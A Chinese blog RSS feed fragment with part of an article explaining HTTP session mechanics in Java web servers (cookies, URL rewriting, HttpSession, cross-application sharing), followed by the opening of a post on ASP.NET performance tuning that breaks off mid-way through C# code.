margin: 0in; font-family: SimSun">四、理解session机制</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">session机制是一种服务器端的机制，服务器使用一种类似于散列表的结构（也可能就是使用散列表）来保存信息。</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">当程序需要为某个客户端的请求创建一个session的时候，服务器首先检查这个客户端的请求里是否已包含了一个session标识 - 称为 session id，如果已包含一个session id则说明以前已经为此客户端创建过session，服务器就按照session id把这个 session检索出来使用（如果检索不到，可能会新建一个），如果客户端请求不包含session id，则为此客户端创建一个session并且生成一个与此session相关联的session id，session id的值应该是一个既不会重复，又不容易被找到规律以仿造的字符串，这个 session id将被在本次响应中返回给客户端保存。</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">保存这个session id的方式可以采用cookie，这样在交互过程中浏览器可以自动的按照规则把这个标识发挥给服务器。一般这个cookie的名字都是类似于SEEESIONID，而。比如weblogic对于web应用程序生成的cookie，JSESSIONID= ByOK3vjFD75aPnrF7C2HmdnV6QZcEbzWoWiBYEnLerjQ99zWpBng!-145788764，它的名字就是 JSESSIONID。</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">由于cookie可以被人为的禁止，必须有其他机制以便在cookie被禁止时仍然能够把session id传递回服务器。经常被使用的一种技术叫做URL重写，就是把session id直接附加在URL路径的后面，附加方式也有两种，一种是作为URL路径的附加信息，表现形式为<a href="http://...../xxx;jsessionid=">http://...../xxx;jsessionid=</a> ByOK3vjFD75aPnrF7C2HmdnV6QZcEbzWoWiBYEnLerjQ99zWpBng!-145788764</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">另一种是作为查询字符串附加在URL后面，表现形式为<a href="http://...../xxx?jsessionid=ByOK3vjFD75aPnrF7C2HmdnV6QZcEbzWoWiBYEnLerjQ99zWpBng!-145788764">http://...../xxx?jsessionid=ByOK3vjFD75aPnrF7C2HmdnV6QZcEbzWoWiBYEnLerjQ99zWpBng!-145788764</a></p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">这两种方式对于用户来说是没有区别的，只是服务器在解析的时候处理的方式不同，采用第一种方式也有利于把session id的信息和正常程序参数区分开来。</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">为了在整个交互过程中始终保持状态，就必须在每个客户端可能请求的路径后面都包含这个session id。</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">另一种技术叫做表单隐藏字段。就是服务器会自动修改表单，添加一个隐藏字段，以便在表单提交时能够把session id传递回服务器。比如下面的表单</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">&lt;form name=&quot;testform&quot; action=&quot;/xxx&quot;&gt;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">&lt;input type=&quot;text&quot;&gt;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">&lt;/form&gt;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">在被传递给客户端之前将被改写成</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">&lt;form name=&quot;testform&quot; action=&quot;/xxx&quot;&gt;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">&lt;input type=&quot;hidden&quot; name=&quot;jsessionid&quot; value=&quot;ByOK3vjFD75aPnrF7C2HmdnV6QZcEbzWoWiBYEnLerjQ99zWpBng!-145788764&quot;&gt;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">&lt;input type=&quot;text&quot;&gt;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">&lt;/form&gt;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">这种技术现在已较少应用，笔者接触过的很古老的iPlanet6(SunONE应用服务器的前身)就使用了这种技术。</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">实际上这种技术可以简单的用对action应用URL重写来代替。</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">在谈论session机制的时候，常常听到这样一种误解&ldquo;只要关闭浏览器，session就消失了&rdquo;。其实可以想象一下会员卡的例子，除非顾客主动对店家提出销卡，否则店家绝对不会轻易删除顾客的资料。对session来说也是一样的，除非程序通知服务器删除一个session，否则服务器会一直保留，程序一般都是在用户做log off的时候发个指令去删除session。然而浏览器从来不会主动在关闭之前通知服务器它将要关闭，因此服务器根本不会有机会知道浏览器已经关闭，之所以会有这种错觉，是大部分session机制都使用会话cookie来保存session id，而关闭浏览器后这个 session id就消失了，再次连接服务器时也就无法找到原来的session。如果服务器设置的cookie被保存到硬盘上，或者使用某种手段改写浏览器发出的HTTP请求头，把原来的session id发送给服务器，则再次打开浏览器仍然能够找到原来的session。</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">恰恰是由于关闭浏览器不会导致session被删除，迫使服务器为seesion设置了一个失效时间，当距离客户端上一次使用session的时间超过这个失效时间时，服务器就可以认为客户端已经停止了活动，才会把session删除以节省存储空间。</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">五、理解javax.servlet.http.HttpSession</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">HttpSession是Java平台对session机制的实现规范，因为它仅仅是个接口，具体到每个web应用服务器的提供商，除了对规范支持之外，仍然会有一些规范里没有规定的细微差异。这里我们以BEA的Weblogic Server8.1作为例子来演示。</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">首先，Weblogic Server提供了一系列的参数来控制它的HttpSession的实现，包括使用cookie的开关选项，使用URL重写的开关选项，session持久化的设置，session失效时间的设置，以及针对cookie的各种设置，比如设置cookie的名字、路径、域， cookie的生存时间等。</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">一般情况下，session都是存储在内存里，当服务器进程被停止或者重启的时候，内存里的session也会被清空，如果设置了session的持久化特性，服务器就会把session保存到硬盘上，当服务器进程重新启动或这些信息将能够被再次使用， Weblogic Server支持的持久性方式包括文件、数据库、客户端cookie保存和复制。</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">复制严格说来不算持久化保存，因为session实际上还是保存在内存里，不过同样的信息被复制到各个cluster内的服务器进程中，这样即使某个服务器进程停止工作也仍然可以从其他进程中取得session。</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">cookie生存时间的设置则会影响浏览器生成的cookie是否是一个会话cookie。默认是使用会话cookie。有兴趣的可以用它来试验我们在第四节里提到的那个误解。</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">cookie的路径对于web应用程序来说是一个非常重要的选项，Weblogic Server对这个选项的默认处理方式使得它与其他服务器有明显的区别。后面我们会专题讨论。</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">关于session的设置参考[5] <a href="http://e-docs.bea.com/wls/docs70/webapp/weblogic_xml.html#1036869">http://e-docs.bea.com/wls/docs70/webapp/weblogic_xml.html#1036869</a></p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">六、HttpSession常见问题</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">（在本小节中session的含义为⑤和⑥的混合）</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">1、session在何时被创建</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">一个常见的误解是以为session在有客户端访问时就被创建，然而事实是直到某server端程序调用 HttpServletRequest.getSession(true)这样的语句时才被创建，注意如果JSP没有显示的使用 &lt;% @page session=&quot;false&quot;%&gt; 关闭session，则JSP文件在编译成Servlet时将会自动加上这样一条语句 HttpSession session = HttpServletRequest.getSession(true);这也是JSP中隐含的 session对象的来历。</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">由于session会消耗内存资源，因此，如果不打算使用session，应该在所有的JSP中关闭它。</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">2、session何时被删除</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">综合前面的讨论，session在下列情况下被删除a.程序调用HttpSession.invalidate();或b.距离上一次收到客户端发送的session id时间间隔超过了session的超时设置;或c.服务器进程被停止（非持久session）</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">3、如何做到在浏览器关闭时删除session</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">严格的讲，做不到这一点。可以做一点努力的办法是在所有的客户端页面里使用javascript代码window.oncolose来监视浏览器的关闭动作，然后向服务器发送一个请求来删除session。但是对于浏览器崩溃或者强行杀死进程这些非常规手段仍然无能为力。</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">4、有个HttpSessionListener是怎么回事</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">你可以创建这样的listener去监控session的创建和销毁事件，使得在发生这样的事件时你可以做一些相应的工作。注意是session的创建和销毁动作触发listener，而不是相反。类似的与HttpSession有关的listener还有 HttpSessionBindingListener，HttpSessionActivationListener和 HttpSessionAttributeListener。</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">5、存放在session中的对象必须是可序列化的吗</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">不是必需的。要求对象可序列化只是为了session能够在集群中被复制或者能够持久保存或者在必要时server能够暂时把session交换出内存。在 Weblogic Server的session中放置一个不可序列化的对象在控制台上会收到一个警告。我所用过的某个iPlanet版本如果 session中有不可序列化的对象，在session销毁时会有一个Exception，很奇怪。</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">6、如何才能正确的应付客户端禁止cookie的可能性</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">对所有的URL使用URL重写，包括超链接，form的action，和重定向的URL，具体做法参见[6]</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun"><a href="http://e-docs.bea.com/wls/docs70/webapp/sessions.html#100770">http://e-docs.bea.com/wls/docs70/webapp/sessions.html#100770</a></p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">7、开两个浏览器窗口访问应用程序会使用同一个session还是不同的session</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">参见第三小节对cookie的讨论，对session来说是只认id不认人，因此不同的浏览器，不同的窗口打开方式以及不同的cookie存储方式都会对这个问题的答案有影响。</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">8、如何防止用户打开两个浏览器窗口操作导致的session混乱</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">这个问题与防止表单多次提交是类似的，可以通过设置客户端的令牌来解决。就是在服务器每次生成一个不同的id返回给客户端，同时保存在session里，客户端提交表单时必须把这个id也返回服务器，程序首先比较返回的id与保存在session里的值是否一致，如果不一致则说明本次操作已经被提交过了。可以参看《J2EE核心模式》关于表示层模式的部分。需要注意的是对于使用javascript window.open打开的窗口，一般不设置这个id，或者使用单独的id，以防主窗口无法操作，建议不要再window.open打开的窗口里做修改操作，这样就可以不用设置。</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">9、为什么在Weblogic Server中改变session的值后要重新调用一次session.setValue</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">做这个动作主要是为了在集群环境中提示Weblogic Server session中的值发生了改变，需要向其他服务器进程复制新的session值。</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">10、为什么session不见了</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">排除session正常失效的因素之外，服务器本身的可能性应该是微乎其微的，虽然笔者在iPlanet6SP1加若干补丁的Solaris版本上倒也遇到过；浏览器插件的可能性次之，笔者也遇到过3721插件造成的问题；理论上防火墙或者代理服务器在cookie处理上也有可能会出现问题。</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">出现这一问题的大部分原因都是程序的错误，最常见的就是在一个应用程序中去访问另外一个应用程序。我们在下一节讨论这个问题。</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">七、跨应用程序的session共享</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">常常有这样的情况，一个大项目被分割成若干小项目开发，为了能够互不干扰，要求每个小项目作为一个单独的web应用程序开发，可是到了最后突然发现某几个小项目之间需要共享一些信息，或者想使用session来实现SSO(single sign on)，在session中保存login的用户信息，最自然的要求是应用程序间能够访问彼此的session。</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">然而按照Servlet规范，session的作用范围应该仅仅限于当前应用程序下，不同的应用程序之间是不能够互相访问对方的session的。各个应用服务器从实际效果上都遵守了这一规范，但是实现的细节却可能各有不同，因此解决跨应用程序session共享的方法也各不相同。</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">首先来看一下Tomcat是如何实现web应用程序之间session的隔离的，从 Tomcat设置的cookie路径来看，它对不同的应用程序设置的cookie路径是不同的，这样不同的应用程序所用的session id是不同的，因此即使在同一个浏览器窗口里访问不同的应用程序，发送给服务器的session id也可以是不同的。</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">根据这个特性，我们可以推测Tomcat中session的内存结构大致如下。</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">笔者以前用过的iPlanet也采用的是同样的方式，估计SunONE与iPlanet之间不会有太大的差别。对于这种方式的服务器，解决的思路很简单，实际实行起来也不难。要么让所有的应用程序共享一个session id，要么让应用程序能够获得其他应用程序的session id。</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">iPlanet中有一种很简单的方法来实现共享一个session id，那就是把各个应用程序的cookie路径都设为/（实际上应该是/NASApp，对于应用程序来讲它的作用相当于根）。</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">&lt;session-info&gt;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">&lt;path&gt;/NASApp&lt;/path&gt;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">&lt;/session-info&gt;</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">需要注意的是，操作共享的session应该遵循一些编程约定，比如在session attribute名字的前面加上应用程序的前缀，使得 setAttribute(&quot;name&quot;, &quot;neo&quot;)变成setAttribute(&quot;app1.name&quot;, &quot;neo&quot;)，以防止命名空间冲突，导致互相覆盖。</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">在Tomcat中则没有这么方便的选择。在Tomcat版本3上，我们还可以有一些手段来共享session。对于版本4以上的Tomcat，目前笔者尚未发现简单的办法。只能借助于第三方的力量，比如使用文件、数据库、JMS或者客户端cookie，URL参数或者隐藏字段等手段。</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">我们再看一下Weblogic Server是如何处理session的。<span style="mso-spacerun: yes">&nbsp; </span></p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">从截屏画面上可以看到Weblogic Server对所有的应用程序设置的cookie的路径都是/，这是不是意味着在Weblogic Server中默认的就可以共享session了呢？然而一个小实验即可证明即使不同的应用程序使用的是同一个session，各个应用程序仍然只能访问自己所设置的那些属性。这说明Weblogic Server中的session的内存结构可能如下</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">对于这样一种结构，在 session机制本身上来解决session共享的问题应该是不可能的了。除了借助于第三方的力量，比如使用文件、数据库、JMS或者客户端 cookie，URL参数或者隐藏字段等手段，还有一种较为方便的做法，就是把一个应用程序的session放到ServletContext中，这样另外一个应用程序就可以从ServletContext中取得前一个应用程序的引用。示例代码如下，</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">应用程序A</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">context.setAttribute(&quot;appA&quot;, session);</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">应用程序B</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">contextA = context.getContext(&quot;/appA&quot;);</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">HttpSession sessionA = (HttpSession)contextA.getAttribute(&quot;appA&quot;);</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">值得注意的是这种用法不可移植，因为根据ServletContext的JavaDoc，应用服务器可以处于安全的原因对于context.getContext(&quot;/appA&quot;);返回空值，以上做法在Weblogic Server 8.1中通过。</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">那么Weblogic Server为什么要把所有的应用程序的cookie路径都设为/呢？原来是为了SSO，凡是共享这个session的应用程序都可以共享认证的信息。一个简单的实验就可以证明这一点，修改首先登录的那个应用程序的描述符weblogic.xml，把cookie路径修改为/appA 访问另外一个应用程序会重新要求登录，即使是反过来，先访问cookie路径为/的应用程序，再访问修改过路径的这个，虽然不再提示登录，但是登录的用户信息也会丢失。注意做这个实验时认证方式应该使用FORM，因为浏览器和web服务器对basic认证方式有其他的处理方式，第二次请求的认证不是通过 session来实现的。具体请参看[7] secion 14.8 Authorization，你可以修改所附的示例程序来做这些试验。</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">八、总结</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">session机制本身并不复杂，然而其实现和配置上的灵活性却使得具体情况复杂多变。这也要求我们不能把仅仅某一次的经验或者某一个浏览器，服务器的经验当作普遍适用的经验，而是始终需要具体情况具体分析。</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">摘要：虽然session机制在web应用程序中被采用已经很长时间了，但是仍然有很多人不清楚session机制的本质，以至不能正确的应用这一技术。本文将详细讨论session的工作机制并且对在Java web application中应用session机制时常见的问题作出解答。</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun"><span style="mso-spacerun: yes">&nbsp;</span></p>]]></description><category>编程开发</category><comments>http://www.icdoor.com/z-blog/post/cat_9/2008/12/12/3398.html#comment</comments><wfw:comment>http://www.icdoor.com/z-blog/</wfw:comment><wfw:commentRss>http://www.icdoor.com/z-blog/feed.asp?cmt=3398</wfw:commentRss><trackback:ping>http://www.icdoor.com/z-blog/cmd.asp?act=tb&amp;id=3398&amp;key=43b8b022</trackback:ping></item><item><title>提高ASPX服务器性能的几大狠招   </title><author>a@b.com (naruYrY0Xa)</author><link>http://www.icdoor.com/z-blog/post/cat_9/2008/05/24/878.html</link><pubDate>Sat, 24 May 2008 21:08:39 +0800</pubDate><guid>http://www.icdoor.com/z-blog/post/cat_9/2008/05/24/878.html</guid><description><![CDATA[提高ASPX服务器性能的几大狠招&nbsp;&nbsp; <br /><br />&nbsp;∆&nbsp;第0招依靠测试工具，以下根据ACT&nbsp;test测试结果，整理。【全部招数凶狠度的依据】&nbsp; <br /><br />所谓性能优化，必须是建立在测试的基础之上的，ACT&nbsp;Test是比较爽的测试工具，比Load&nbsp;Runner方便，比Web&nbsp;Stress直观，支持脚本编程和录制登陆到注销全过程。&nbsp; <br />所有优化都要进行对比测试，才是评判的数字依据。&nbsp; <br />所以，个人认为：不做压力测试，优化是可以做，但是没数据支持，是不严谨的。&nbsp; <br /><br /><br />&nbsp;∆&nbsp;第一招生成静态。【凶狠度排名第一：性能RPS提升两个数量级（提高速度百倍）】&nbsp; <br /><br />以下是截取Response的Stream生成文件的代码&nbsp; <br />&nbsp;protected&nbsp;override&nbsp;void&nbsp;Render(HtmlTextWriter&nbsp;writer)&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;StringWriter&nbsp;stringWriter&nbsp;=&nbsp;new&nbsp;StringWriter();&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HtmlTextWriter&nbsp;htmlTextWriter&nbsp;=&nbsp;new&nbsp;HtmlTextWriter(stringWriter);&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;base.Render(htmlTextWriter);&nbsp; <br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(本页允许生成静态HTML)&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp; <br />&nbsp;&nbsp;&nbsp;//根据aspx的get参数构造出的HTML文件名,如：aaa.aspx?id=1&nbsp;转化成&nbsp;aaa_id_1.html&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;string&nbsp;filePath&nbsp;=&nbsp;Server.MapPath(htmlFileName);&nbsp; <br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;StreamWriter&nbsp;streamWriter&nbsp;=&nbsp;new&nbsp;StreamWriter(filePath&nbsp;,&nbsp;false,&nbsp;Encoding.UTF8);&nbsp; <br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;streamWriter.Write(HTML);&nbsp; <br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;streamWriter.Close();&nbsp; <br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;htmlTextWriter.Close();&nbsp; <br />}&nbsp; <br />}&nbsp; <br />生成后，以后先判断是否有这个文件，如果有就跳过去。&nbsp; <br />本页允许生成静态HTML，可以在后台做一个钩选和更新，并且在内容发生变化后删除静态HTML。&nbsp; <br /><br />&nbsp;∆&nbsp;第二招，图片文件分流服务器。【凶狠度排名第二：性能RPS提升1个数量级（提高速度十倍）】&nbsp; <br /><br />&nbsp;&nbsp; <br />1，web&nbsp;1台或多台。&nbsp; <br />2，图片1台或多台。&nbsp; <br />3，文件1台或多台。&nbsp; <br />4，数据库1台或多台。&nbsp; <br />不同机房要采用Remoting分发文件是个不错的主义，就是工作量大。&nbsp; <br />以下是同机房多服务器之间可以通过web读写分发文件的关键代码。&nbsp; <br /><br /><br />using&nbsp;System;&nbsp;&nbsp; <br />using&nbsp;System.Collections;&nbsp;&nbsp; <br />using&nbsp;System.Configuration;&nbsp;&nbsp; <br />using&nbsp;System.Data;&nbsp;&nbsp; <br />using&nbsp;System.IO;&nbsp;&nbsp; <br />using&nbsp;System.Web;&nbsp;&nbsp; <br />using&nbsp;System.Web.Security;&nbsp;&nbsp; <br />using&nbsp;System.Web.UI;&nbsp;&nbsp; <br />using&nbsp;System.Web.UI.HtmlControls;&nbsp;&nbsp; <br />using&nbsp;System.Web.UI.WebControls;&nbsp;&nbsp; <br />using&nbsp;System.Web.UI.WebControls.WebParts;&nbsp;&nbsp; <br />using&nbsp;System.Security.Principal;&nbsp;&nbsp; <br />using&nbsp;System.Runtime.InteropServices;&nbsp;&nbsp; <br /><br />namespace&nbsp;WebApplication1&nbsp;&nbsp; <br />{&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;partial&nbsp;class&nbsp;_Default&nbsp;:&nbsp;System.Web.UI.Page&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;const&nbsp;int&nbsp;LOGON32_LOGON_INTERACTIVE&nbsp;=&nbsp;2;&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;const&nbsp;int&nbsp;LOGON32_PROVIDER_DEFAULT&nbsp;=&nbsp;0;&nbsp;&nbsp; <br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;WindowsImpersonationContext&nbsp;impersonationContext;&nbsp;&nbsp; <br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[DllImport(&quot;advapi32.dll&quot;,&nbsp;CharSet&nbsp;=&nbsp;CharSet.Auto)]&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;static&nbsp;extern&nbsp;int&nbsp;LogonUser(String&nbsp;lpszUserName,&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;String&nbsp;lpszDomain,&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;String&nbsp;lpszPassword,&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;dwLogonType,&nbsp;&nbsp; <br 